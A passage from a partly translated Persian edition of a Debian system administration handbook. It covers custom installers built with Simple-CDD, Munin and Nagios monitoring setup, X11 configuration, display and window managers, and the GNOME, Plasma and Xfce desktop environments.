استفاده از یک فایل preseed به تنهایی تمام پیشنیازهای فرآیندهای بزرگ توسعه را محقق نمی‌کند. با اینکه امکان اجرای چند اسکریپت در انتهای فرآیند نصب وجود دارد، مجموعه بسته‌هایی که باید نصب گردند به سادگی قابل دسترس نمی‌باشند (معمولا، فقط “task” می‌تواند انتخاب شود)؛ مهمتر اینکه، این روش منجر به نصب بسته‌های رسمی از دبیان می‌شود و سایر بسته‌های محلی را نادیده می‌گیرد.

از طرف دیگر، debian-cd می‌تواند بسته‌های خارجی را یکپارچه‌سازی کند و debian-installer می‌تواند با درج گام‌های جدید در فرآیند نصب توسعه یابد. با ترکیب این قابلیت‌ها باید بتوانیم یک نصب‌کننده سفارشی را برای نیازهای خود ایجاد کنیم؛ همچنین باید قادر باشد برخی سرویس‌ها را پس از نصب بسته‌های آن‌ها پیکربندی کند. خوشبختانه، این یک حالت فرضی نیست، زیرا دقیقا کاری است که Simple-CDD (در بسته simple-cdd) انجام می‌دهد.

هدف Simple-CDD این است که هر فردی بتواند یک توزیع مشتق شده از دبیان را با انتخاب مجموعه‌ای از بسته‌های موجود، پیکربندی آن‌ها با Debconf، افزودن نرم‌افزار خاص و اجرای اسکریپت‌های سفارشی در انتهای فرآیند نصب، ایجاد کند. این رویکرد با فلسفه “سیستم عامل جهانی” (شعار دبیان) سازگاری دارد، چرا که هر فردی می‌تواند آن را با نیاز خود سازگار سازد.

12.3.3.1. ایجاد پروفایل‌ها

Simple-CDD “پروفایل” را تعریف می‌کند که با مفهوم “کلاس” در FAI سازگار هستند و یک ماشین می‌تواند چندین پروفایل داشته باشد (که در زمان نصب مشخص می‌شوند). یک پروفایل توسط مجموعه فایل‌های profiles/profile.* تعریف می‌شود:

فایل .description شامل توضیح یک خطی درباره پروفایل است؛

فایل .packages شامل بسته‌هایی است که در صورت انتخاب شدن پروفایل به شیوه خودکار نصب می‌گردند؛

فایل .downloads شامل بسته‌هایی است که درون رسانه نصب ذخیره‌سازی می‌شوند، اما الزامی در نصب آن‌ها وجود ندارد؛

فایل .preseed شامل اطلاعات آماده‌سازی برای پرسش‌های Debconf (برای نصب‌کننده و/یا بسته‌ها) می‌باشد؛

فایل .postinst شامل اسکریپتی است که در انتهای فرآیند نصب اجرا می‌شود؛

در انتها، فایل .conf امکان تغییر برخی پارامترهای Simple-CDD را بر اساس پروفایل‌های موجود در آن فراهم می‌کند.

پروفایل default نقش ویژه‌ای دارد چرا که همیشه انتخاب می‌شود؛ شامل حداقل‌های مورد نیاز توسط Simple-CDD است. تنها موردی که در این پروفایل سفارشی می‌شود پارامتر آماده‌سازی simple-cdd/profiles است: امکان رد کردن پرسش، که توسط Simple-CDD، درباره پروفایل قابل نصب را فراهم می‌کند.

به یاد داشته باشید که دستورات باید از دایرکتوی والد profiles فراخوانی شوند.

12.3.3.2. پیکربندی و استفاده از build-simple-cdd

نگاه سریع فایل پیکربندی همراه با جزئیات

یک نمونه از فایل پیکربندی Simple-CDD، همراه با تمام پارامترهای ممکن، درون /usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed.gz قرار دارد. از این فایل می‌توان به عنوان نقطه آغاز برای ایجاد فایل پیکربندی سفارشی استفاده کرد.

Simple-CDD به پارامترهای بسیاری برای عملکرد جامع نیاز دارد. آن‌ها اغلب درون یک فایل پیکربندی قرار دارند، که build-simple-cdd می‌تواند با گزینه --conf به آن اشاره کند، همچنین می‌توانند با استفاده از پارامترهای انحصاری به build-simple-cdd ارجاع شوند. در اینجا به این دستور و پارامترهای مورد نیاز آن نگاهی می‌اندازیم:

پارامتر profiles فهرستی از پروفایل‌های قابل اجرا در CD-ROM ایجاد شده را فهرست می‌کند؛

بر اساس فهرست بسته‌های مورد نیاز، Simple-CDD فایل‌های متناسب با آن‌ها را از سرور اشاره شده در server دانلود کرده و آن‌ها را درون یک mirror موقت قرار می‌دهد (که در ادامه به debian-cd داده می‌شود)؛

بسته‌های سفارشی موجود در local_packages نیز درون همین mirror محلی قرار می‌گیرند؛

سپس debian-cd (درون یک مکان پیشفرض که می‌تواند با متغیر debian_cd_dir پیکربندی شود) همراه با فهرستی از بسته‌ها به منظور یکپارچه‌سازی اجرا می‌شود؛

زمانی که debian-cd دایرکتوری خود را آماده کند، Simple-CDD برخی تغییرات را در این دایرکتوری انجام می‌دهد:

فایل‌هایی که شامل پروفایل‌ها هستند درون یک دایرکتوری زیر مجموعه simple-cdd (واقع در CD-ROM نهایی) قرار می‌گیرند؛

سایر فایل‌های فهرست شده در پارامتر all_extras نیز افزوده می‌شوند؛

پارامترهای راه‌اندازی طوری تنظیم می‌شوند که عملیات preseed فعال گردد. در صورت ذخیره‌سازی اطلاعات لازم در متغیرهای language و country، پرسش‌های مربوط به زبان و کشور نادیده گرفته می‌شوند.

سپس debian-cd فایل نهایی ISO را تولید می‌کند.

12.3.3.3. تولید یک فایل ISO

Once we have written a configuration file and defined our profiles, the remaining step is to invoke build-simple-cdd --conf simple-cdd.conf. After a few minutes, we get the required image in images/debian-10-amd64-CD-1.iso.

12.4. مانیتورینگ

مانیتورینگ یک عبارت عمومی است و فعالیت‌های مرتبط با آن اهداف گوناگونی را دنبال می‌کنند: از یک طرف، پیگیری منابع مصرفی فراهم شده توسط ماشین امکان پیشبینی میزان اشباع و بروزرسانی‌های متعاقب با آن را فراهم می‌کند؛ از طرف دیگر، هشدار به مدیر سیستم به محض اینکه یک سرویس از دسترس خارج شود یا به درستی کار نکند به معنی رفع سریع‌تر مشکلات در زمان بروز حادثه است.

Munin با نمایش نمودارهای گرافیکی برای مقادیر مختلف از پارامترهای متعدد (حافظه مصرفی، فضای اشغال شده دیسک، بار پردازنده، ترافیک شبکه، بار وب سرور/پایگاه‌داده و از این قبیل) ناحیه اول را پوشش می‌دهد. Nagios با بررسی مداوم سرویس‌ها و نحوه کارکرد و قابل دسترس بودن آن‌ها، همراه با ارسال پیام به مدیر سیستم با استفاده از کانال‌های مناسب (ایمیل، پیامک و از این قبیل) ناحیه دوم را پوشش می‌دهد. هر دو ابزار ساختاری ماژولار دارند که به توسعه هر یک از آن‌ها و افزودن پارامترها یا سرویس‌های خاص کمک می‌کند.

جایگزین Zabbix، یک ابزار مانیتورینگ یکپارچه

Although Munin and Nagios are in very common use, they are not the only players in the monitoring field, and each of them only handles half of the task (graphing on one side, alerting on the other). Zabbix, on the other hand, integrates both parts of monitoring; it also has a web interface for configuring the most common aspects. It has grown by leaps and bounds during the last few years, and can now be considered a viable contender. On the monitoring server, you would install zabbix-server-pgsql (or zabbix-server-mysql), possibly together with zabbix-frontend-php to have a web interface. On the hosts to monitor you would install zabbix-agent feeding data back to the server.

→ https://www.zabbix.com/

جایگزین Icinga، یک fork از Nagios

Spurred by divergences in opinions concerning the development model for Nagios (which is controlled by a company), a number of developers forked Nagios and use Icinga as their new name. Icinga is still compatible — so far — with Nagios configurations and plugins, but it also adds extra features.

→ https://www.icinga.org/

12.4.1. راه‌اندازی Munin

هدف Munin مانیتور کردن ماشین‌های متعدد است؛ بنابراین، طبیعی است که از معماری کلاینت/سرور استفاده کند. میزبان مرکزی - یا grapher - داده را از تمام میزبان‌های قابل مانیتور کردن دریافت کرده و نمودارهای گرافیکی تولید می‌کند.

12.4.1.1. پیکربندی میزبان‌ها برای مانیتور شدن

اولین گام نصب بسته munin-node است. فرآیند پس‌زمینه‌ای که توسط این بسته نصب می‌شود به درگاه ۴۹۴۹ گوش کرده و داده‌های دریافتی از پلاگین‌های فعال را ارسال می‌کند. هر پلاگین یک برنامه ساده است که توضیح مرتبط با داده دریافتی همراه با آخرین مقدار بدست آمده را باز می‌گرداند. پلاگین‌ها در مسیر /usr/share/munin/plugins/ ذخیره شده‌اند اما تنها آن‌هایی که به صورت پیوند نمادین در /etc/munin/plugins/ قرار داشته باشند، استفاده می‌گردند.

When the package is installed, a set of active plugins is determined based on the available software and the current configuration of the host. However, this autoconfiguration depends on a feature that each plugin must provide, and it is usually a good idea to review and tweak the results by hand. Browsing the Plugin Gallery[4] can be interesting even though not all plugins have comprehensive documentation. However, all plugins are scripts and most are rather simple and well-commented. Browsing /etc/munin/plugins/ is therefore a good way of getting an idea of what each plugin is about and determining which should be removed. Similarly, enabling an interesting plugin found in /usr/share/munin/plugins/ is a simple matter of setting up a symbolic link with ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Note that when a plugin name ends with an underscore “_”, the plugin requires a parameter. This parameter must be stored in the name of the symbolic link; for instance, the “if_” plugin must be enabled with a if_eth0 symbolic link, and it will monitor network traffic on the eth0 interface.

Once all plugins are correctly set up, the daemon configuration must be updated to describe access control for the collected data. This involves allow directives in the /etc/munin/munin-node.conf file. The default configuration is allow ^127\.0\.0\.1$, and only allows access to the local host. An administrator will usually add a similar line containing the IP address of the grapher host, then restart the daemon with systemctl restart munin-node.

مطالعه بیشتر ایجاد پلاگین‌های محلی

Munin does include detailed documentation on how plugins should behave, and how to develop new plugins.

→ http://guide.munin-monitoring.org/en/latest/plugin/writing.html

یک پلاگین بهتر است در شرایط مشابه با فراخوانی توسط munin-node مورد آزمون قرار گیرد؛ این عمل با اجرای munin-run plugin به عنوان root شبیه‌سازی می‌شود. یک پارامتر دوم احتمالی که به این دستور داده می‌شود (از جمله config) به عنوان یک پارامتر به پلاگین فرستاده می‌شود.

زمانی که یک پلاگین توسط پارامتر config فراخوانی می‌شود، باید خود را با بازگرداندن مجموعه‌ای از فیلدها تعریف کند:

$ sudo munin-run load config graph_title Load average graph_args --base 1000 -l 0 graph_vlabel load graph_scale no graph_category system load.label load graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately"). load.info 5 minute load average

The various available fields are described by the “Plugin reference” available as part of the “Munin guide”.

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

زمانی که بدون پارامتر فراخوانی می‌شود، پلاگین به سادگی آخرین مقدار محاسبه شده را باز می‌گرداند؛ برای نمونه، اجرای sudo munin-run load می‌تواند مقدار load.value 0.12 را باز گرداند.

در نهایت، زمانی که یک پلاگین توسط پارامتر autoconf فراخوانی می‌شود، باید مقدار “yes” (گزارش خروج ۰) یا “no” (گزارش خروج ۱) با توجه به اینکه آیا پلاگین باید در این میزبان فعال شود یا خیر را باز گرداند.

12.4.1.2. پیکربندی Grapher

“grapher” در واقع رایانه‌ای است که داده‌ها را گردآوری کرده و نمودارهای مرتبط با آن را رسم می‌کند. نرم‌افزار مورد نیاز در بسته munin قرار دارد. پیکربندی استاندارد munin-cron را هر ۵ دقیقه یکبار اجرا کرده، تا اطلاعات از تمام میزبان‌های موجود در /etc/munin/munin.conf گردآوری شوند (فقط میزبان محلی به صورت پیشفرض قرار دارد)، داده‌های بدست آمده را در فایل‌های RRD، که مخفف Round Robin Database و مناسب ذخیره‌سازی داده‌های متغیر در طول زمان است، ذخیره‌سازی می‌کند که این فایل‌ها در مسیر /var/lib/munin/ قرار دارند و در نهایت یک صفحه HTML همراه با نمودارها در /var/cache/munin/www/ ایجاد می‌کند.

بنابراین تمام ماشین‌های مانیتور شده باید در فایل پیکربندی /etc/munin/munin.conf قرار داشته باشند. هر ماشین به عنوان یک قسمت کامل همراه با نام آن و حداقل یک مدخل address که شامل نشانی IP ماشین است، قرار می‌گیرد.

[ftp.falcot.com] address 192.168.0.12 use_node_name yes

قسمت‌ها می‌توانند پیچیده‌تر باشند، تا با ترکیب داده‌های بدست آمده از چند ماشین نمودارهای اضافی رسم گردد. مثال‌های موجود در فایل پیکربندی نقطه آغاز مناسبی برای سفارشی‌کردن این فرآیند هستند.

آخرین گام انتشار صفحات تولید شده است؛ اینکار نیازمند پیکربندی سرور وب به گونه‌ای است که محتوای /var/cache/munin/www/ از طریق یک وبسایت قابل دسترس باشد. دسترسی به این وبسایت می‌تواند با استفاده از مکانیزم احرازهویت یا کنترل دسترسی مبتنی بر IP مدیریت شود. برای جزئیات مرتبط قسمت 11.2, “سرور وب (HTTP)” را مشاهده کنید.

12.4.2. راه‌اندازی Nagios

برخلاف Munin، الزامی بر نصب Nagios روی میزبان‌های مانیتور شده نیست؛ از Nagios بیشتر به منظور بررسی موجود بودن سرویس‌های شبکه استفاده می‌شود. برای نمونه، Nagios می‌تواند به یک سرور وب متصل شده و بررسی کند یک صفحه مشخص در زمان مشخص قابل دسترس است یا خیر.

12.4.2.1. نصب

The first step in setting up Nagios is to install the nagios4 and monitoring-plugins packages. Installing the packages configures the web interface and the Apache server. The authz_groupfile and auth_digest Apache modules must be enabled, for that execute:

# a2enmod authz_groupfile Considering dependency authz_core for authz_groupfile: Module authz_core already enabled Enabling module authz_groupfile. To activate the new configuration, you need to run: systemctl restart apache2 # a2enmod auth_digest Considering dependency authn_core for auth_digest: Module authn_core already enabled Enabling module auth_digest. To activate the new configuration, you need to run: systemctl restart apache2 # systemctl restart apache2

Adding other users is a simple matter of inserting them in the /etc/nagios4/hdigest.users file.

Pointing a browser at http://server/nagios4/ displays the web interface; in particular, note that Nagios already monitors some parameters of the machine where it runs. However, some interactive features such as adding comments to a host do not work. These features are disabled in the default configuration for Nagios, which is very restrictive for security reasons.

Enabling some features involves editing /etc/nagios4/nagios.cfg. We also need to set up write permissions for the directory used by Nagios, with commands such as the following:

# systemctl stop nagios4 # dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw # dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4 # systemctl start nagios4

12.4.2.2. پیکربندی

The Nagios web interface is rather nice, but it does not allow configuration, nor can it be used to add monitored hosts and services. The whole configuration is managed via files referenced in the central configuration file, /etc/nagios4/nagios.cfg.

بدون درک از مفاهیم Nagios نباید مستقیم سراغ این فایل‌ها رفت. پیکربندی شامل اشیایی از نوع زیر می‌باشد:

یک host ماشینی است که باید مانیتور شود؛

یک hostgroup مجموعه‌ای از میزبان‌ها است که برای نمایش یا در نظر گرفتن برخی عناصر پیکربندی، باید گروه‌بندی شوند؛

یک service شامل عنصری قابل آزمون مرتبط با یک میزبان یا گروه میزبانی است. در اکثر موارد برای بررسی یک سرویس شبکه بکار می‌رود، اما می‌تواند برای بررسی محدوده مجاز برخی پارامترها نیز استفاده شود (برای نمونه، فضای آزاد دیسک یا بار پردازنده)؛

یک servicegroup مجموعه‌ای از سرویس‌ها است که برای نمایش باید گروه‌بندی شوند؛

یک contact شخصی است که می‌تواند هشدارها را دریافت کند؛

یک contactgroup مجموعه‌ای از چنین افرادی است؛

یک timeperiod بازه‌ای از زمان است که طی آن برخی سرویس‌ها باید بررسی شوند؛

یک command دستوری است که به منظور بررسی یک سرویس مشخص فراخوانی می‌شود.

با توجه به نوع، هر شی شامل قابلیت‌هایی است که می‌تواند سفارشی شود. فهرست کامل آن بسیار طولانی است، اما مهم‌ترین قابلیت‌ها همان روابط بین اشیا است.

یک service از command استفاده می‌کند تا وضعیت یک قابلیت موجود درhost (یا hostgroup) را طی بازه timeperiod بررسی کند. در صورت بروز مشکل، Nagios یک هشدار به تمام اعضای موجود در contactgroup مرتبط با سرویس ارسال می‌کند. با توجه به کانال تعریف شده برای هر فرد در شی contact، پیام برای وی فرستاده می‌شود.

An inheritance system allows easy sharing of a set of properties across many objects without duplicating information. Moreover, the initial configuration includes a number of standard objects; in many cases, defining new hosts, services and contacts is a simple matter of deriving from the provided generic objects. The files in /etc/nagios4/conf.d/ are a good source of information on how they work.

مدیرسیستم‌های شرکت فالکوت از پیکربندی زیر استفاده می‌کنند:

مثال 12.3. /etc/nagios4/conf.d/falcot.cfg file

define contact{ name generic-contact service_notification_period 24x7 host_notification_period 24x7 service_notification_options w,u,c,r host_notification_options d,u,r service_notification_commands notify-service-by-email host_notification_commands notify-host-by-email register 0 ; Template only } define contact{ use generic-contact contact_name rhertzog alias Raphael Hertzog email hertzog@debian.org } define contact{ use generic-contact contact_name rmas alias Roland Mas email lolando@debian.org } define contactgroup{ contactgroup_name falcot-admins alias Falcot Administrators members rhertzog,rmas } define host{ use generic-host ; Name of host template to use host_name www-host alias www.falcot.com address 192.168.0.5 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } define host{ use generic-host ; Name of host template to use host_name ftp-host alias ftp.falcot.com address 192.168.0.6 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } # 'check_ftp' command with custom parameters define command{ command_name check_ftp2 command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35 } # Generic Falcot service define service{ name falcot-service use generic-service contact_groups falcot-admins register 0 } # Services to check on www-host define service{ use falcot-service host_name www-host service_description HTTP check_command check_http } define service{ use falcot-service host_name www-host service_description HTTPS check_command check_https } define service{ use falcot-service host_name www-host service_description SMTP check_command check_smtp } # Services to check on ftp-host define service{ use falcot-service host_name ftp-host service_description FTP check_command check_ftp2 }

This configuration file describes two monitored hosts. The first one is the web server, and the checks are made on the HTTP (80) and secure-HTTP (443) ports. Nagios also checks that an SMTP server runs on port 25. The second host is the FTP server, and the check includes making sure that a reply comes within 20 seconds. Beyond this delay, a warning is emitted; beyond 30 seconds, the alert is deemed critical. The Nagios web interface also shows that the SSH service is monitored: this comes from the hosts belonging to the ssh-servers hostgroup. The matching standard service is defined in /etc/nagios4/conf.d/services_nagios2.cfg.

کاربرد ارث‌گرایی را به یاد داشته باشید: یک شی می‌تواند از شی دیگری با استفاده از “use parent-name” ارث‌بری کند. شی والد باید قابل شناسایی باشد، که نیازمند اختصاص قابلیت “name identifier” به آن می‌باشد. اگر قرار بر واقعی نبودن شی والد باشد، اما تنها به صورت والد عمل کند، اختصاص قابلیت “register 0” به آن به Nagios می‌گوید که از آن شی صرف نظر کند، که در این صورت نبود برخی پارامترهای مورد نیاز آن مشکلی را بوجود نمی‌آورد.

مستندات فهرستی از قابلیت‌های شی

A more in-depth understanding of the various ways in which Nagios can be configured can be obtained from the documentation hosted on https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/index.html. It includes a list of all object types, with all the properties they can have. It also explains how to create new plugins.

مطالعه بیشتر آزمون‌های راه‌دور با استفاده از NRPE

بسیاری پلاگین‌های Nagios امکان بررسی برخی پارامترهای محلی برای یک میزبان را فراهم می‌کنند؛ اگر ماشین‌های زیادی به این بررسی‌ها نیاز داشته باشند در صورتی که یک نصب مرکزی تمام اطلاعات را گردآوری کند، پلاگین NRPE یا Nagios Remote Plugin Executor باید راه‌اندازی گردد. بسته nagios-nrpe-plugin باید در سرور Nagios و بسته nagios-nrpe-server باید در میزبان‌هایی که نیازمند برخی آزمون‌ها هستند، نصب شود. گزینه دوم پیکربندی خود را از /etc/nagios/nrpe.cfg دریافت می‌کند. این فایل همراه با نشانی‌های IP ماشین‌هایی که قصد اجرای این آزمون‌ها را دارند، باید شامل آزمون‌هایی باشد که از راه‌دور آغاز می‌شوند. در طرف Nagios، فعال‌سازی این آزمون‌های جدید به سادگی افزودن‌ سرویس‌های متناظر با آن‌ها با استفاده از دستور check_nrpe است.

[4]

→ http://gallery.munin-monitoring.org

فصل 13. رومیزی

حال که توسعه سرور به پایان رسیده است، مدیرسیستم‌ها می‌توانند تمرکز خود را روی نصب سیستم‌های رومیزی و ایجاد یک پیکربندی متداول معطوف کنند.

13.1. پیکربندی سرور X11

A brief reminder: X.org is the software component that allows graphical applications to display windows on screen. It includes a driver that makes efficient use of the video card. The features offered to the graphical applications are exported through a standard interface, X11 (Buster contains version X11R7.7).

چشم‌انداز X11، XFree86 و X.org

X11 is the graphical system most widely used on Unix-like systems (also available for Windows and Mac OS). Strictly speaking, the term “X11” only refers to a protocol specification, but it is also used to refer to the implementation in practice.

X11 had a rough start, but the 1990s saw XFree86 emerge as the reference implementation because it was free software, portable, and maintained by a collaborative community. However, the rate of evolution slowed down near the end when the software only gained new drivers. That situation, along with a very controversial license change, led to the X.org fork in 2004. This is now the reference implementation, and Debian Buster uses X.org version 7.7.

Current versions of X.org are able to autodetect the available hardware: this applies to the video card and the monitor, as well as keyboards and mice; in fact, it is so convenient that the package no longer even creates a /etc/X11/xorg.conf configuration file.

پیکربندی صفحه کلید هم اکنون در /etc/default/keyboard قرار دارد. از این فایل برای پیکربندی کنسول متنی و رابط گرافیکی استفاده می‌شود که توسط بسته keyboard-configuration مدیریت می‌گردد. جزئیات مرتبط با پیکربندی ساختار صفحه کلید در قسمت 8.1.2, “پیکربندی صفحه‌کلید” قرار دارد.

بسته xserver-xorg-core یک سرور عمومی X، از جمله نسخه X.org 7.x را فراهم می‌کند.این سرور ساختاری ماژولار داشته و از مجموعه درایورهای مستقل برای مدیریت قسمت‌های مختلف کارت گرافیکی استفاده می‌کند. نصب xserver-xorg تضمین می‌کند که هم سرور و هم حداقل یکی از درایورهای تصویری آن پیکربندی شوند.

Note that if the detected video card is not handled by any of the available drivers, X.org tries using the vesa and fbdev drivers. VESA is a generic driver that should work everywhere, but with limited capabilities (fewer available resolutions, no hardware acceleration for games and visual effects for the desktop, and so on) while fbdev works on top of the kernel's framebuffer device. Nowadays the X server can run without any administrative privileges (this used to be required to be able to configure the screen) and its log file is then stored in the user's home directory in ~/.local/share/xorg/Xorg.0.log, whereas it is /var/log/Xorg.0.log for X servers started with root privileges and for versions older than Debian 9 Stetch. That log file is where one would look to know what driver is currently in use. For example, the following snippet matches what the intel driver outputs when it is loaded:

(==) Matched intel as autoconfigured driver 0 (==) Matched modesetting as autoconfigured driver 1 (==) Matched vesa as autoconfigured driver 2 (==) Matched fbdev as autoconfigured driver 3 (==) Assigned the driver to the xf86ConfigLayout (II) LoadModule: "intel" (II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

اضافی درایورهای انحصاری

Some video card makers (most notably NVIDIA) refuse to publish the hardware specifications that would be required to implement good free drivers. They do, however, provide proprietary drivers that allow using their hardware. This policy is nefarious, because even when the provided driver exists, it is usually not as polished as it should be; more importantly, it does not necessarily follow the X.org updates, which may prevent the latest available driver from loading correctly (or at all). We cannot condone this behavior, and we recommend you avoid these makers and favor more cooperative manufacturers.

If you still end up with such a card, you will find the required packages in the non-free section: nvidia-driver for NVIDIA cards. It requires a matching kernel module. Building the module can be automated by installing the package nvidia-kernel-dkms (for NVIDIA).

The “nouveau” project aims to develop a free software driver for NVIDIA cards and is the default driver that you get for those cards in Debian. In general, its feature set and performance do not match the proprietary driver. In the developers' defense, we should mention that the required information can only be gathered by reverse engineering, which makes things difficult. The free drivers for ATI video cards, called “radeon” and "amdgpu", are much better in that regard although it often requires non-free firmware from the firmware-amd-graphics package.

13.2. سفارشی‌سازی رابط گرافیکی

13.2.1. انتخاب یک مدیر نمایش

The graphical interface only provides display space. Running the X server by itself only leads to an empty screen, which is why most installations use a display manager to display a user authentication screen and start the graphical desktop once the user has authenticated. The three most popular display managers in current use are gdm3 (GNOME Display Manager), sddm (suggested for KDE Plasma) and lightdm (Light Display Manager). Since the Falcot Corp administrators have opted to use the GNOME desktop environment, they logically picked gdm3 as a display manager too. The /etc/gdm3/daemon.conf configuration file has many options (the list can be found in the /usr/share/gdm/gdm.schemas schema file) to control its behaviour while /etc/gdm3/greeter.dconf-defaults contains settings for the greeter “session” (more than just a login window, it is a limited desktop with power management and accessibility related tools). Note that some of the most useful settings for end-users can be tweaked with GNOME's control center.

13.2.2. انتخاب یک مدیر پنجره

Since each graphical desktop provides its own window manager, which window manager you choose is usually influenced by which desktop you have selected. GNOME uses the mutter window manager, Plasma uses kwin, and Xfce (which we present later) has xfwm. The Unix philosophy always allows using one's window manager of choice, but following the recommendations allows an administrator to best take advantage of the integration efforts led by each project.

بازگشت به مقدمات مدیر پنجره

The window manager displays the “decorations” around the windows belonging to the currently running applications, which includes frames and the title bar. It also allows reducing, restoring, maximizing, and hiding windows. Most window managers also provide a menu that pops up when the desktop is clicked in a specific way. This menu provides the means to close the window manager session, start new applications, and in some cases, change to another window manager (if installed).

Older computers may, however, have a hard time running heavyweight graphical desktop environments. In these cases, a lighter configuration should be used. “Light” (or small footprint) window managers include WindowMaker (in the wmaker package), Afterstep, fvwm, icewm, blackbox, fluxbox, or openbox. In these cases, the system should be configured so that the appropriate window manager gets precedence; the standard way is to change the x-window-manager alternative with the command update-alternatives --config x-window-manager.

ویژگی دبیان جایگزین‌ها

خط مشی دبیان این است که برای انجام یک عمل خاص فهرستی از دستورات استاندارد وجود داشته باشد. برای مثال، دستور x-window-manager یک مدیر پنجره را فراخوانی می‌کند. اما دبیان این دستور را به یک مدیر پنجره خاص اختصاص نمی‌دهد. مدیر سیستم است که تصمیم می‌گیرد کدام مدیر پنجره را فراخوانی کند.

برای هر مدیر پنجره، بسته مربوط به آن دستور مناسب را برای انتخاب احتمالی در x-window-manager همراه با اولویت مرتبط ثبت می‌کند. بجز پیکربندی صریح از طریق مدیر سیستم، این اولویت مشخص می‌کند که در زمان اجرای دستور به صورت عمومی از کدام مدیر پنجره استفاده شود.

ثبت دستورات و پیکربندی صریح شامل فراخوانی اسکریپت update-alternatives است. انتخاب اینکه دستور نمادین به کجا اشاره می‌کند به سادگی اجرای update-alternatives --config symbolic-command است. دستور update-alternatives پیوندهای نمادین را در دایرکتوری /etc/alternatives/ ایجاد و مدیریت می‌کند، که مکان فایل‌های اجرایی را به عنوان مرجع در خود دارد. در گذر زمان، بسته‌ها حذف و نصب می‌شوند و مدیر سیستم پیکربندی آنان را به صورت صریح تغییر می‌دهد. هنگام حذف بسته‌ای که شامل یک گزینه جایگزین باشد، جایگزینی به صورت خودکار به بهترین دستور ممکن باقیمانده اختصاص می‌یابد.

البته تمام دستورات نمادین توسط خط مشی دبیان به صورت صریح فهرست نمی‌شوند؛ برخی مدیران بسته در دبیان از قصد تصمیم می‌گیرند که از این مکانیزم به شیوه‌ای غیرمستقیم برای دسترسی به برخی ویژگی‌های جانبی استفاده کنند (مثال‌های این دسته عبارتند از x-www-browser، www-browser، cc، c++، awk و از این قبیل).

13.2.3. مدیریت منو

Modern desktop environments and many window managers provide menus listing the available applications for the user. In order to keep menus up-to-date in relation to the actual set of available applications, each package usually provides a .desktop file in /usr/share/applications. The format of those files has been standardized by FreeDesktop.org:

→ https://standards.freedesktop.org/desktop-entry-spec/latest/

The applications menus can be further customized by administrators through system-wide configuration files as described by the “Desktop Menu Specification”. End-users can also customize the menus with graphical tools such as kmenuedit (in Plasma), alacarte (in GNOME) or menulibre.

→ https://standards.freedesktop.org/menu-spec/latest/

تاریخچه سیستم منوی دبیان

به لحاظ تاریخی - قبل از اینکه استانداردهای FreeDesktop.org ادغام شوند - دبیان سیستم منوی خود را اختراع کرده بود که در آن هر بسته یک توضیح عمومی از مدخل‌های منوی خود را در /usr/share/menu/ قرار می‌داد. این ابزار هنوز در دبیان موجود (در بسته menu) اما کاربرد خود را از دست داده است چرا که مدیران بسته بیشتر از فایل‌های .desktop برای این منظور استفاده می‌کنند.

13.3. محیط‌های گرافیکی

The free graphical desktop field is dominated by two large software collections: GNOME and Plasma by KDE. Both of them are very popular. This is rather a rare instance in the free software world; the Apache web server, for instance, has very few peers.

This diversity is rooted in history. Plasma (initially only KDE, which is now the name of the community) was the first graphical desktop project, but it chose the Qt graphical toolkit and that choice wasn't acceptable for a large number of developers. Qt was not free software at the time, and GNOME was started based on the GTK+ toolkit. Qt has since become free software, but the projects still evolved in parallel.

The GNOME and KDE communities still work together: under the FreeDesktop.org umbrella, the projects collaborated in defining standards for interoperability across applications.

انتخاب “بهترین” محیط گرافیکی موضوع حساسی است که ما ترجیح می‌دهیم آن را کنار بگذاریم. صرفا به توضیح برخی امکانات موجود پرداخته و منابع مطالعاتی مرتبط را معرفی می‌کنیم. بهتر گزینه آن است که طی گذر زمان و با آزمایش‌های مختلف به آن دست یابید.

13.3.1. GNOME

Debian Buster includes GNOME version 3.30, which can be installed by a simple apt install gnome (it can also be installed by selecting the “Debian desktop environment” task).

GNOME is noteworthy for its efforts in usability and accessibility. Design professionals have been involved in writing its standards and recommendations, which has helped developers to create satisfying graphical user interfaces. The project also gets encouragement from the big players of computing, such as Intel, IBM, Oracle, Novell, and of course, various Linux distributions. Finally, many programming languages can be used in developing applications interfacing to GNOME.

شكل 13.1. میزکار GNOME

For administrators, GNOME seems to be better prepared for massive deployments. Application configuration is handled through the GSettings interface and stores its data in the DConf database. The configuration settings can thus be queried and edited with the gsettings, and dconf command-line tools, or by the dconf-editor graphical user interfaces. The administrator can therefore change users' configuration with a simple script. The GNOME website provides information to guide administrators who manage GNOME workstations:

→ https://help.gnome.org/admin/

13.3.2. KDE and Plasma

Debian Buster includes version 5.14 of KDE Plasma, which can be installed with apt install kde-standard.

Plasma has had a rapid evolution based on a very hands-on approach. Its authors quickly got very good results, which allowed them to grow a large user-base. These factors contributed to the overall project quality. Plasma is a mature desktop environment with a wide range of applications.

شكل 13.2. The Plasma desktop

Since the Qt 4.0 release, the last remaining license problem with KDE software has been solved. This version was released under the GPL both for Linux and Windows (the Windows version was previously released under a non-free license). KDE applications are primarily developed using the C++ language.

13.3.3. Xfce و دیگران

Xfce is a simple and lightweight graphical desktop, which is a perfect match for computers with limited resources. It can be installed with apt install xfce4. Like GNOME, Xfce is based on the GTK+ toolkit, and several components are common across both desktops.

Unlike GNOME and Plasma, Xfce does not aim to become a vast project. Beyond the basic components of a modern desktop (file manager, window manager, session manager, a panel for application launchers and so on), it only provides a few specific applications: a terminal, a calendar (orage), an image viewer, a CD/DVD burning tool, a media player (parole), sound volume control and a text editor (mousepad).

→ https://xfce.org/

شكل 13.3. میزکار Xfce

13.3.4. Other Desktop Environments

LXDE and LXQt are two desktop environments focusing on the “lightweight” aspect. The former is GTK+ based while the latter is Qt based. They can be installed with the lxde and lxqt metapackages.

→ https://lxde.org/

→ https://lxqt.org/

